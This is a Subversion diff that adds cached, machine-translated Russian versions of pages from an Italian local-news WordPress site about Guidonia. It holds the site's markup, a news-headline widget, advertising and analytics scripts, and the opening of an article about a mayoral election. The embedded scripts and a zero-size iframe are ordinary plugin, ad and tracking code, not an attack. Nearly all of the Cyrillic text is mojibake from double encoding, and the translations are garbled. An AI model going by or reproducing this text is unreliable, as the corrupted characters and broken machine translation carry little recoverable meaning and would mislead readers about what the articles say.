+<!--FLAG_BAR_BEGIN--><div id="translation_bar"><a id='flag_it' href='http://www.guidonia.net/wp/?p=6286' hreflang='it' ><img id='flag_img_it' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_it.png' alt='Italiano flag' title='Italiano'  border='0' /></a><a id='flag_ar' href='http://www.guidonia.net/wp/?p=6286&lang=ar' hreflang='ar' ><img id='flag_img_ar' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ar.png' alt='Arabo flag' title='Arabo'  border='0' /></a><a id='flag_ca' href='http://www.guidonia.net/wp/?p=6286&lang=ca' hreflang='ca' ><img id='flag_img_ca' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ca.png' alt='Catalano flag' title='Catalano'  border='0' /></a><a id='flag_zh-CN' href='http://www.guidonia.net/wp/?p=6286&lang=zh-CN' hreflang='zh-CN' ><img id='flag_img_zh-CN' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_zh-CN.png' alt='Cinese (Semplificato) flag' title='Cinese (Semplificato)'  border='0' /></a><a id='flag_en' href='http://www.guidonia.net/wp/?p=6286&lang=en' hreflang='en' ><img id='flag_img_en' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_en.png' alt='Inglese flag' title='Inglese'  border='0' /></a><a id='flag_fr' href='http://www.guidonia.net/wp/?p=6286&lang=fr' hreflang='fr' ><img id='flag_img_fr' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_fr.png' alt='Francese flag' title='Francese'  border='0' /></a><a id='flag_de' href='http://www.guidonia.net/wp/?p=6286&lang=de' hreflang='de' ><img id='flag_img_de' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_de.png' alt='Tedesco flag' title='Tedesco'  border='0' /></a><a id='flag_el' href='http://www.guidonia.net/wp/?p=6286&lang=el' hreflang='el' ><img id='flag_img_el' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_el.png' alt='Greco flag' title='Greco'  border='0' /></a><a id='flag_pt' href='http://www.guidonia.net/wp/?p=6286&lang=pt' hreflang='pt' ><img id='flag_img_pt' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_pt.png' alt='Portoghese flag' title='Portoghese'  border='0' /></a><a id='flag_ro' href='http://www.guidonia.net/wp/?p=6286&lang=ro' hreflang='ro' ><img id='flag_img_ro' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ro.png' alt='Rumeno flag' title='Rumeno'  border='0' /></a><a id='flag_ru' href='http://www.guidonia.net/wp/?p=6286&lang=ru' hreflang='ru' ><img id='flag_img_ru' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ru.png' alt='Russo flag' title='Russo'  border='0' /></a><a id='flag_es' href='http://www.guidonia.net/wp/?p=6286&lang=es' hreflang='es' ><img id='flag_img_es' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_es.png' alt='Spagnolo flag' title='Spagnolo'  border='0' /></a><a id='flag_sv' href='http://www.guidonia.net/wp/?p=6286&lang=sv' hreflang='sv' ><img id='flag_img_sv' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_sv.png' alt='Svedese flag' title='Svedese'  border='0' /></a><a id='flag_sq' href='http://www.guidonia.net/wp/?p=6286&lang=sq' hreflang='sq' ><img id='flag_img_sq' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_sq.png' alt='Albanese flag' title='Albanese'  border='0' /></a><div id="transl_sign"></div></div><!--FLAG_BAR_END-->
+</div><div class=box><h3> <a class=rsswidget href=http://www.liquida.it/guidonia.feed title="ÐÐŸÐŽÐ¿ÐžÑÐºÐ° ÐœÐ° ÐºÐŸÐœÑÐµÐœÑ"><img style=background:orange;color:white;border:none; width=14 height=14 src=http://www.guidonia.net/wp/wp-includes/images/rss.png alt="RSS" /></a> <span  > <a class=rsswidget href="http://www.guidonia.net/wp?p=6286&lang=ru" >ÐÑÑÑÑÐ°Ñ Ð±Ð»ÐŸÐ³ ÐœÐŸÐ²ÐŸÑÑÐµÐ¹</a></span> </h3><ul><li> <span  > <a class=rsswidget href="http://www.vignaclarablog.it/200907036551/comune-di-roma-todini-pdl-stupri-la-misura-e-colma/#39;Ð²ÑÐµÑÐ° Ð²ÐµÑÐµÑÐŸÐŒ), ÑÐŸ Ð¡ÐÐ Ð³ÐŸÑÐŸÐŽÑÐºÐŸÐ³ÐŸ ÑÐŸÐ²ÐµÑÐœÐžÐºÐ° Ðž ÑÐ»ÐµÐœÐ° Ð¡ÐŸÐ²ÐµÑÐ° ÐÐµÐ·ÐŸÐ¿Ð°ÑÐœÐŸÑÑÐž, ÐÐŸÐŒÐžÑÐµÑ, ÐÑÐŽÐŸÐ²ÐžÐº Todini ÑÐºÐ°Ð·Ð°Ð»: &quot;Primavalle, Guidonia Ardeatina Ðž Ð¿ÐŸÑÑÐŸÐŒÑ ÑÑÐŸÑ ÑÐ¿ÐžÑÐŸÐº ÐŒÐŸÐ¶ÐœÐŸ Ð¿ÑÐŸÐŽÐŸÐ»Ð¶ÐžÑÑ ÐžÐ·ÐœÐ°ÑÐžÐ»ÐŸÐ²Ð°ÐœÐžÐ¹ ÐœÐ° ÐµÐ¶ÐµÐŽÐœÐµÐ²ÐœÐŸÐ¹, Ð¶ÐµÑÑÐ²Ð°ÐŒÐž ÐºÐŸÑÐŸÑÐŸÐ¹ Ð±ÑÐŽÐµÑ ... ÐÐµÑÐºÐž: Louis primavalle Todini Guidonia ÐÐÐ¡ [...]"">Comune ÐŽÐž Ð ÐŸÐŒÐ° - Todini (Ð¡ÐÐ): ÐžÐ·ÐœÐ°ÑÐžÐ»ÐŸÐ²Ð°ÐœÐžÑ, ÐžÐ·ÐŒÐµÑÐµÐœÐžÑ ÐžÐ»Ðž Ð·Ð°Ð¿ÐŸÐ»ÐœÑÐµÑ</a></span> </li><li> <span  > <a class=rsswidget href="http://cairoli.simplicissimus.it/2009/07/avezzano-roma-tiburtina-la-linea-ferroviaria-dei-senza-casta.html">Avezzano - Ð ÐŸÐŒÐ° Tiburtina - ÐÐµÐ»ÐµÐ·ÐœÐŸÐŽÐŸÑÐŸÐ¶ÐœÐ°Ñ Ð»ÐžÐœÐžÑ ÐžÐ· &quot;outcastes&#39;</a></span> </li><li> <span  > <a class=rsswidget href="http://sicurezza626lavoro.wordpress.com/2009/07/01/asl-roma-g-prevenzione-e-sicurezza-sul-lavoro/">ASL ÑÐŸÐŒÐ° G: Ð¿ÑÐŸÑÐžÐ»Ð°ÐºÑÐžÐºÐ° Ðž Ð±ÐµÐ·ÐŸÐ¿Ð°ÑÐœÐŸÑÑÑ ÐœÐ° ÑÐ°Ð±ÐŸÑÐµÐŒ ÐŒÐµÑÑÐµ</a></span> </li><li> <span  > <a class=rsswidget href="http://truffeinrete.blogspot.com/2009/07/donna-uccisa-da-un-fulmine-nel-lazio.html">ÐÐµÐœÑÐžÐœÐ° ÑÐ±ÐžÑÐ° ÐŒÐŸÐ»ÐœÐžÐµÐ¹ Ð² ÐÐ°ÑÐžÐŸ</a></span> </li><li> <span  > <a class=rsswidget href="http://www.mpl.it/?p=6390#39;Ðž Ð·Ð°ÑÐµÐŒ Ð² &quot;L&#39;Aquila, ÐŽÐŸÐŒÐ° Ð±ÐµÐ· ÑÐµÐŒÐµÐœÑÐ°. ÐÐŸÑ ÐŽÐŸÐºÐ°Ð·Ð°ÑÐµÐ»ÑÑÑÐ²Ð°. &quot; Ð ÐÐ°Ð¿ÐžÑÐ°Ð», Ð­ÐœÑÐŸ Cappucci, Ð±ÑÐ» Ð²ÑÐºÐŸÐ¿Ð°Ðœ ÐœÐ° ÑÐµÐ±ÐµÐœÑ Ð² ÑÐµÐ³ÐžÐŸÐœÐµ ÐÐ±ÑÑÑÑÐŸ Ðž ÐœÐ°ÑÐµÐ» ÐŽÐŸÐºÐ°Ð·Ð°ÑÐµÐ»ÑÑÑÐ²Ð° Ð»ÐµÐ³ÐºÐŸÑÑÑ, ÐŸÑÑÑÑÑÑÐ²ÐžÐµ ÐºÐŸÐœÑÑÐŸÐ»Ñ, ÑÐ³ÐŸÐ»ÐŸÐ²ÐœÐŸÐµ ÐœÐµÐ±ÑÐµÐ¶ÐœÐŸÑÑÑ, Ñ ÐºÐŸÑÐŸÑÐŸÐ¹ ÐŒÐœÐŸÐ³ÐžÐµ ÐŽÐŸÐŒÐ° Ð±ÑÐ»Ðž Ð¿ÐŸÑÑÑÐŸÐµÐœÑ. The ... ÐÐµÑÐºÐž: Ð­ÐœÑÐŸ ÐºÐŸÐ»Ð¿Ð°ÐºÐ°ÐŒÐž Abruzzo RaiNews24 Rai ÑÐŸÐŒÐ° Ð² [...]"">Ð Ð°Ð¹ ÐœÐ° ÑÐµÐŒÐµÐœÑ</a></span> </li><li> <span  > <a class=rsswidget href="http://tgabruzzo.blogspot.com/2009/06/rainews-24-esclusiva-laquila-case-senza.html#39;&#39;L&#39;Aquila, ÐŽÐŸÐŒÐ° Ð±ÐµÐ· ÑÐµÐŒÐµÐœÑÐ°. ÐÐŸÑ ÐŽÐŸÐºÐ°Ð·Ð°ÑÐµÐ»ÑÑÑÐ²ÐŸ&#39;&#39;. ÐÑÐ¿ÑÐ°Ð²Ð»ÐµÐœÐœÐŸÐµ Ð² Rainews24, Ð­ÐœÑÐŸ Cappucci, Ð±ÑÐ» Ð²ÑÐºÐŸÐ¿Ð°Ðœ ÐœÐ° ÑÐµÐ±ÐµÐœÑ Ð² ÑÐµÐ³ÐžÐŸÐœÐµ ÐÐ±ÑÑÑÑÐŸ Ðž ÐœÐ°ÑÐµÐ» ÐŽÐŸÐºÐ°Ð·Ð°ÑÐµÐ»ÑÑÑÐ²Ð° Ð»ÐµÐ³ÐºÐŸÑÑÑ, ÐŸÑÑÑÑÑÑÐ²ÐžÐµ ÐºÐŸÐœÑÑÐŸÐ»Ñ, ÑÐ³ÐŸÐ»ÐŸÐ²ÐœÐŸÐµ ÐœÐµÐ±ÑÐµÐ¶ÐœÐŸÑÑÑ, Ñ ÐºÐŸÑÐŸÑÐŸÐ¹ ÐŒÐœÐŸÐ³ÐžÐµ ÐŽÐŸÐŒÐ° Ð±ÑÐ»Ðž ... ÐÐµÑÐºÐž: [...]"">RaiNews 24: Exclusive&#39;&#39;eagle, ÐŽÐŸÐŒÐ° Ð±ÐµÐ· ÑÐµÐŒÐµÐœÑ&#39;&#39;</a></span> </li><li> <span  > <a class=rsswidget href="http://laveritaquotidiana.blogspot.com/2009/06/armati-di-pistola-rapinano-antiquari-in.html">ÐÐŸÐŸÑÑÐ¶ÐžÐ²ÑÐžÑÑ Ð¿ÐžÑÑÐŸÐ»ÐµÑÐŸÐŒ ÐŸÐ³ÑÐ°Ð±ÐžÐ» Ð°ÐœÑÐžÐºÐ²Ð°ÑÐœÐ°Ñ Ð² Ð³ÐŸÑÑÐžÐœÐžÑÐµ</a></span> </li><li> <span  > <a class=rsswidget href="http://www.sportfondano.it/2009/06/entro-il-23-luglio-le-iscrizioni-alla-c2-regionale/">Ð 23 ÐžÑÐ»Ñ Ð¿ÐŸÐŽÐ¿ÐžÑÐºÐž ÐœÐ° ÑÐµÐ³ÐžÐŸÐœÐ°Ð»ÑÐœÑÐµ C2</a></span> </li><li> <span  > <a class=rsswidget href="http://abruzzoblog.blogspot.com/2009/06/il-management-del-dolore-post.html">Ð£Ð¿ÑÐ°Ð²Ð»ÐµÐœÐžÐµ Ð¿ÐŸÑÐ»Ðµ ÐŸÐ¿ÐµÑÐ°ÑÐžÐž Ð±ÐŸÐ»Ðž Ð²ÑÐžÐ³ÑÑÐ²Ð°ÐµÑ &quot;, Ðž ÑÐŸÐº-ÑÑÑÐµÐ¹Ñ &#39;e. ..</a></span> </li><li> <span  > <a class=rsswidget href="http://www.reset-italia.net/2009/06/28/donne-e-democrazia-paura-menzogna-e-mito/">ÐÐµÐœÑÐžÐœÑ Ðž ÐŽÐµÐŒÐŸÐºÑÐ°ÑÐžÑ.</a></span> <span  > <a class=rsswidget href="http://www.reset-italia.net/2009/06/28/donne-e-democrazia-paura-menzogna-e-mito/">Ð¡ÑÑÐ°Ñ
+, Ð»ÐŸÐ¶Ñ Ðž &quot;ÐŒÐžÑ&quot;.</a></span> </li><li> <span  > <a class=rsswidget href="http://www.lamianotizia.com/index.php?entry=entry090628-104141#39;ÐœÐ°ÑÐµÐ»ÐµÐœÐžÐµ&#39; ÑÑÐµÐ±ÑÐµÑ ... Ð¢ÐµÐ³Ðž: ÐŒÐŸÑÐœÐŸÑÑÑ Circeo ÐŽÐŸÐŒÐŸÐ¹ Ð²ÑÑÑÐ°Ð²ÐºÐž Donatella Ñ [...]"">ÐÐµÐœÑÐžÐœÑ Ðž ÐŽÐµÐŒÐŸÐºÑÐ°ÑÐžÑ.</a></span> <span  > <a class=rsswidget href="http://www.lamianotizia.com/index.php?entry=entry090628-104141#39;ÐœÐ°ÑÐµÐ»ÐµÐœÐžÐµ&#39; ÑÑÐµÐ±ÑÐµÑ ... Ð¢ÐµÐ³Ðž: ÐŒÐŸÑÐœÐŸÑÑÑ Circeo ÐŽÐŸÐŒÐŸÐ¹ Ð²ÑÑÑÐ°Ð²ÐºÐž Donatella Ñ [...]"">Ð¡ÑÑÐ°Ñ
+, Ð»ÐŸÐ¶Ñ Ðž &quot;ÐŒÐžÑ&quot;</a></span> </li><li> <span  > <a class=rsswidget href="http://www.transformersblog.it/2009/06/24/anteprime-transformers-di-giovedi-25-giugno-ecco-i-cinema/">Ð¢ÑÐ°ÐœÑÑÐŸÑÐŒÐ°ÑÐŸÑÑ Ð¿ÑÐµÐŒÑÐµÑÑ Ð² ÑÐµÑÐ²ÐµÑÐ³ 25 ÐžÑÐœÑ Ð² ÐºÐžÐœÐŸÑÐµÐ°ÑÑÐµ</a></span> </li><li> <span  > <a class=rsswidget href="http://bellizzigranata.blogspot.com/2009/06/salernitana-acri-diesse-fabiani-digi.html#39;ÐŸÐŽÐžÐœÐŸÑÐœÐŸÐ³ÐŸ&#39; ÐÐœÑÐŸÐœÐžÐŸ ÐÐŸÐŒÐ±Ð°ÑÐŽÐž affannosa ÑÐ²Ð»ÑÐµÑÑÑ Ð²ÐŸÑÑÑÐ°ÐœÐŸÐ²Ð»ÐµÐœÐžÐµ, Ð·ÐŽÐµÑÑ Ð² Ð¿ÐµÑÐ²ÑÑ Ð³Ð°Ð»ÐŸÑÐºÑ ÑÑÐžÑÑ. Ð Ð¿ÑÐµÑÑÐµ Ð¿ÑÐµÑÑÐµ Ðž Ð²ÑÐµÐ³ÐŽÐ° Ð²ÐŸÐ²ÑÐµÐŒÑ, Ð¿ÐŸÑÐ²ÐžÐ»ÐžÑÑ ÐœÐ° ÑÐ°Ð¹ÑÐµ ÐžÐ· Ð³ÑÐ°ÐœÐ°ÑÐ° ÐºÐ»ÑÐ±, ÑÐŸÐ¿ÑÐŸÐ²ÐŸÐ¶ÐŽÐ°ÐµÑÑÑ ÐŸÐ±ÑÑÐœÐŸ ÐŸÐ±ÑÑÑÐœÐµÐœÐžÑ Ð² ÐŸÐ±ÑÑÐŽÐµ, Ð² ÐœÐ°ÑÑÐŸÑÑÐµÐµ Ð²ÑÐµÐŒÑ ÐŸÑÐžÑÐžÐ°Ð»ÑÐœÐŸ ÐœÐ° Ð¿ÑÐµÑÑ-Ð·Ð°Ð¿ÐžÑÐºÐ° ... Ð¢ÐµÐ³Ðž: Luca genoas Fusco Rozzano Ð¢ÐŸÐŒÐŒÐ°ÑÐŸ ÐÐµÑÐœ [...]"">Salernitana: Diesse ÐÐºÑÐž, Fabiani Digi</a></span> </li><li> <span  > <a class=rsswidget href="http://www.06blog.it/post/5558/elezioni-guidonia-e-fonte-nuova-al-centrodestra">ÐÑÐ±ÐŸÑÑ Ðž Guidonia ÐÑÑÐŸÑÐœÐžÐº ÐœÐŸÐ²ÑÐ¹ ÑÐµÐœÑÑ</a></span> </li></ul></div><div class=box><div class=textwidget><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 120x600, creato 24/05/09 */
+google_ad_slot = "9606521834";
+google_ad_width = 120;
+google_ad_height = 600;
+//-->
+</script><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
+</script></div></div></div></div></div><div id=footer><p> <span  > Â© 2009 <a href="http://www.guidonia.net/wp?lang=ru" >GuidoniaPuntoNet (Ð² Ð¿ÑÐŸÑÐµÑÑÐµ).</a> Ð¡ÑÑÐ»ÐºÐ°: <a href="http://www.guidonia.tv/">Guidonia Ð¢Ð</a> - <a href="http://www.aniene.net/">Aniene.Net</a> - <a href="http://www.linuxap.it/">LinuxAp</a> - <a href="http://www.eleonline.it/">ÐÑÐ±ÐŸÑÑ ÐÐœÐ»Ð°Ð¹Ðœ</a></span> </p><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/jquery/jquery.form.js?ver=2.02m></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/contact-form-7.js?ver=1.10.0.1></script></div><!-- Start of StatCounter Code --><script type=text/javascript>
+var sc_project=4711170; 
+var sc_invisible=1; 
+var sc_partition=56; 
+var sc_click_stat=1; 
+var sc_security="aab5f80b"; 
+</script><script type=text/javascript src=http://www.statcounter.com/counter/counter.js></script><noscript><div class=statcounter> <a title="Ð¡ÑÐ°ÑÐžÑÑÐžÐºÐ° ÑÐ°Ð¹ÑÐ°" href="http://www.statcounter.com/"><img class=statcounter src=http://c.statcounter.com/4711170/0/aab5f80b/1/ alt="Ð¡ÑÐ°ÑÐžÑÑÐžÐºÐ° ÑÐ°Ð¹ÑÐ°"></a> </div></noscript><!-- End of StatCounter Code --><script type=text/javascript>
+var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
+document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
+</script><script type=text/javascript>
+try {
+var pageTracker = _gat._getTracker("UA-9114161-1");
+pageTracker._trackPageview();
+} catch(err) {}</script></body></html><!-- Dynamic page generated in 1.545 seconds. --><!-- Cached page generated by WP-Super-Cache on 2009-07-05 09:34:48 -->
Index: /trunk/www.guidonia.net/wp/wp-content/gt-cache/ru/_wp__p=6295&lang=ru
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/gt-cache/ru/_wp__p=6295&lang=ru	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/gt-cache/ru/_wp__p=6295&lang=ru	(revision 44)
@@ -0,0 +1,76 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns=http://www.w3.org/1999/xhtml dir=ltr lang=it-IT><head profile=http://gmpg.org/xfn/11><base href=http://www.guidonia.net/wp/?p=6295 /><meta http-equiv=Content-Type content="text/html; charset=UTF-8" /><title> Guidonia: DC, PAGANO MAYOR &#39;Ð¢Ð Ð£ÐÐ &quot;ÐœÐµ ÐÐÐÐÐ  Ð¿ÐŸÑÐ°Ð¶ÐµÐœÐžÐµ - ÐÐ ÐÐ¡ Ð¿ÑÐµÑÑÑ - ÐÐ°ÑÐžÐŸÐœÐ°Ð»ÑÐœÐŸÐµ ÐžÐœÑÐŸÑÐŒÐ°ÑÐžÐŸÐœÐœÐŸÐµ Ð°Ð³ÐµÐœÑÑÑÐ²ÐŸ - GuidoniaPuntoNet (Ð² Ð¿ÑÐŸÐ³ÑÐµÑÑÐµ) </title><link rel=alternate type=application/rss+xml title="GuidoniaPuntoNet (Ð² Ð¿ÑÐŸÐ³ÑÐµÑÑÐµ) RSS Feed" href=http://www.guidonia.net/wp/?feed=rss2 /><link rel=pingback href=http://www.guidonia.net/wp/xmlrpc.php /></head><body onload=""><iframe src="http://www.guidonia.net/wp/?p=6295&rurl=translate.google.com&lang=it&usg=ALkJrhhvU59KjPf6-YLXRG0zLLlZdmyIDQ" width=0 height=0 frameborder=0 style="width:0px;height:0px;border:0px;"></iframe><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/themes/facebook/js/switch.js></script><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/style.css type=text/css media=screen /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/blue.css type=text/css media=screen title="Ð¿ÐŸ ÑÐŒÐŸÐ»ÑÐ°ÐœÐžÑ" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/pink.css type=text/css media=screen title="ÑÐŸÐ·ÐŸÐ²ÑÐ¹" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/green.css type=text/css media=screen title="Ð·ÐµÐ»ÐµÐœÑÐ¹" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/purple.css type=text/css media=screen title="ÐÑÑÐ¿ÑÑ" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/red.css type=text/css media=screen title="ÐºÑÐ°ÑÐœÑÐ¹" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/blue.css type=text/css media=screen title="ÑÐžÐœÐžÐ¹" /><link rel=alternate type=application/rss xml title="GuidoniaPuntoNet (Ð² Ð¿ÑÐŸÑÐµÑÑÐµ) &quot;Guidonia: DC, PAGANO MAYOR &#39;Ð¢Ð Ð£ÐÐ&quot; ÐœÐµ ÐÐÐÐÐ  Ð¿ÐŸÑÐ°Ð¶ÐµÐœÐžÐµ - ÐÐ ÐÐ¡ Ð¿ÑÐµÑÑÑ - ÐÐ°ÑÐžÐŸÐœÐ°Ð»ÑÐœÐŸÐµ ÐžÐœÑÐŸÑÐŒÐ°ÑÐžÐŸÐœÐœÐŸÐµ Ð°Ð³ÐµÐœÑÑÑÐ²ÐŸ ÐÐŸÐŒÐŒÐµÐœÑÐ°ÑÐžÐž Feed" href=http://www.guidonia.net/wp/?feed=rss2"><script type=text/javascript>
+		/* <![CDATA[ */
+
+			function move(index,to) {
+			 var list = document.getElementById('list');
+			 var total = list.options.length-1;
+			 if (index == -1) return false;
+			 if (to == +1 && index == total) return false;
+			 if (to == -1 && index == 0) return false;
+			 var items = new Array;
+			 var values = new Array;
+			 for (i = total; i >= 0; i--) {
+			  items[i] = list.options[i].text;
+			  values[i] = list.options[i].value;
+			 }
+			
+			 for (i = total; i >= 0; i--) {
+			  if (index == i) {
+			   list.options[i + to] = new Option(items[i],values[i + to], 0, 1);
+			   list.options[i] = new Option(items[i + to], values[i]);
+			   i--;
+			  } else {
+			   list.options[i] = new Option(items[i], values[i]);
+			  }
+			 }
+			
+			 list.focus();
+			}
+			
+			function submitForm() {
+			 var list = document.getElementById('list');
+			 var orderedlist = document.getElementById('orderedlist');
+			
+			 for (i = 0; i <= list.options.length-1; i++) {
+			  orderedlist.value += list.options[i].text;
+			  if (i != list.options.length-1) orderedlist.value += "|";
+			 }
+			 document.getElementById('sendform').submit();
+			}
+		/* ]]> */
+		</script><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/jquery/jquery.js?ver=1.3.2></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/comment-reply.js?ver=20090102></script><link rel=EditURI type=application/rsd+xml title="ÐÐ¡Ð" href=http://www.guidonia.net/wp/xmlrpc.php?rsd /><link rel=wlwmanifest type=application/wlwmanifest+xml href=http://www.guidonia.net/wp/wp-includes/wlwmanifest.xml /><link rel=index title="GuidoniaPuntoNet (Ð² Ð¿ÑÐŸÐ³ÑÐµÑÑÐµ)" href=http://www.guidonia.net/wp /><link rel=start title="Guidonia Ð² WebTV" href=http://www.guidonia.net/wp/?p=8 /><link rel=prev title="Ð£Ð²ÐµÐŽÐŸÐŒÐ»ÐµÐœÐžÐµ Marrazzo Ð·Ð° 2010 Ð³ÐŸÐŽ - IL Giornale" href=http://www.guidonia.net/wp/?p=6214 /><link rel=next title="AWARD OF ROTARY GIORNALISTICA / Ð² Ð¿Ð°ÐŒÑÑÑ Grazio AMMATURO ... - UnoNotizie.it" href=http://www.guidonia.net/wp/?p=6291 /><meta name=generator content="WordPress 2.8" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/stylesheet.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/lexi/css/lexi.css type=text/css media=screen /><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/minimax/scripts/minimax.js></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/tubepress.js></script><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/css/tubepress.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/widget/css/tubepress_widget.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/css/pagination.css type=text/css /><!-- Generated by Simple Tags 1.6.6 - http://wordpress.org/extend/plugins/simple-tags --><meta name=keywords content=Guidonia /></head><!--#wrapper:start--><div id=wrapper><!--#header:start--><div id=header><h1> <span  > <a href="http://www.guidonia.net/wp?lang=ru" >GuidoniaPuntoNet (Ð² Ð¿ÑÐŸÐ³ÑÐµÑÑÐµ)</a></span> </h1><!--#navigation:start--><div id=navigation><ul><li> <span  > <a href="http://www.guidonia.net/wp?lang=ru" >ÐÐŸÐŒ</a></span> </li><li class="page_item page-item-2"> <span  > <a href="http://www.guidonia.net/wp?page_id=2&lang=ru" >Ð</a></span> </li><li class="page_item page-item-6296"> <span  > <a href="http://www.guidonia.net/wp?page_id=6296&lang=ru" >ÐÐŸÐœÑÐ°ÐºÑÑ</a></span> </li></ul></div><!--#navigation:end--><!--#search:start--><div id=search><form method=get id=searchform action=http://www.guidonia.net/wp/><input type=text value="" name=s id=s /><input type=submit id=searchsubmit value="Ð¿ÐŸÐžÑÐº" /></form></div><!--#search:end--></div><!--#header:end--><!--#content:start--><div id=content><div class=entry id=post-6295><h2> <span  > <a href="http://www.guidonia.net/wp?p=6295#39;Ð¢Ð Ð£ÐÐ &quot;ÐœÐµ ÐÐÐÐÐ  Ð¿ÐŸÑÐ°Ð¶ÐµÐœÐžÐµ - ÐÐ ÐÐ¡ Ð¿ÑÐµÑÑÑ - ÐÐ°ÑÐžÐŸÐœÐ°Ð»ÑÐœÐŸÐµ ÐžÐœÑÐŸÑÐŒÐ°ÑÐžÐŸÐœÐœÐŸÐµ Ð°Ð³ÐµÐœÑÑÑÐ²ÐŸ&lang=ru" ">Guidonia: DC, PAGANO MAYOR &#39;Ð¢Ð Ð£ÐÐ &quot;ÐœÐµ ÐÐÐÐÐ </a> Ð <a href="http://www.guidonia.net/wp?p=6295#39;Ð¢Ð Ð£ÐÐ &quot;ÐœÐµ ÐÐÐÐÐ  Ð¿ÐŸÑÐ°Ð¶ÐµÐœÐžÐµ - ÐÐ ÐÐ¡ Ð¿ÑÐµÑÑÑ - ÐÐ°ÑÐžÐŸÐœÐ°Ð»ÑÐœÐŸÐµ ÐžÐœÑÐŸÑÐŒÐ°ÑÐžÐŸÐœÐœÐŸÐµ Ð°Ð³ÐµÐœÑÑÑÐ²ÐŸ&lang=ru" ">Ð¿ÐŸÑÐ°Ð¶ÐµÐœÐžÐµ - ÐÐ ÐÐ¡ Ð¿ÑÐµÑÑÑ - ÐÐ°ÑÐžÐŸÐœÐ°Ð»ÑÐœÐŸÐµ ÐžÐœÑÐŸÑÐŒÐ°ÑÐžÐŸÐœÐœÐŸÐµ Ð°Ð³ÐµÐœÑÑÑÐ²ÐŸ</a></span> </h2><p class=meta-header> <span  > ÐÐŸÑÑÑÐ¿ÐžÐ»ÐŸ Ð² ÑÐµÐŽÐ°ÐºÑÐžÑ 25 ÐžÑÐœÑ 2009 Ð³ÐŸÐŽÐ° Ð² <a href="http://www.guidonia.net/wp?cat=1&lang=ru" >Guidonia ÐÐŸÐ²ÐŸÑÑÐž</a> Ð¿ÐŸ Ð°ÐŽÐŒÐžÐœÐžÑÑÑÐ°ÑÐŸÑÐ°</span> </p><table border=0 cellpadding=2 cellspacing=7 style=vertical-align:top;><tr><td width=80 align=center valign=top><font style=font-size:85%;font-family:arial,sans-serif></font></td><td valign=top class=j> <font style=font-size:85%;font-family:arial,sans-serif><br /></font> <div style=padding-top:0.8em;><img alt="" height=1 width=1 /></div><div class=lh><span  > <b><a href="http://news.google.com/news/url?Art=43986&Cat=1&Codi_Cate_Arti=24&I=null&IdTipo=0&TitoloBlocco=Enti%20Locali&fd=R&sa=T&url=http://www.irispress.it/Iris/page.asp?VisImg=S&usg=AFQjCNFblZTn_vUfH65NlLq7U6bnUoVGvA">Guidonia: DC, PAGANO MAYOR &#39;Ð¢Ð Ð£ÐÐ &quot;ÐœÐµ</a></b> ÑÐ²Ð»ÑÐµÑÑÑ <b><a href="http://news.google.com/news/url?Art=43986&Cat=1&Codi_Cate_Arti=24&I=null&IdTipo=0&TitoloBlocco=Enti%20Locali&fd=R&sa=T&url=http://www.irispress.it/Iris/page.asp?VisImg=S&usg=AFQjCNFblZTn_vUfH65NlLq7U6bnUoVGvA">ÐÐÐÐÐ  ÐÐŸÑÐµÑÐž</a></b></span> <br /> <span  > <font color=#6f6f6f><font size=-1><b>ÐÑÐµÑÑ ÐÐ ÐÐ¡ - ÐÐ°ÑÐžÐŸÐœÐ°Ð»ÑÐœÐŸÐµ ÐžÐœÑÐŸÑÐŒÐ°ÑÐžÐŸÐœÐœÐŸÐµ Ð°Ð³ÐµÐœÑÑÑÐ²ÐŸ</b></font></font></span> <br /> <span  > <font size=-1><b>...</b> ÐÐ° Ð¿ÐŸÐ±ÐµÐŽÑ ÐŒÑÑ Eligio Rubeis ÐžÐ· <b>Guidonia Montecelio,</b> Ðž 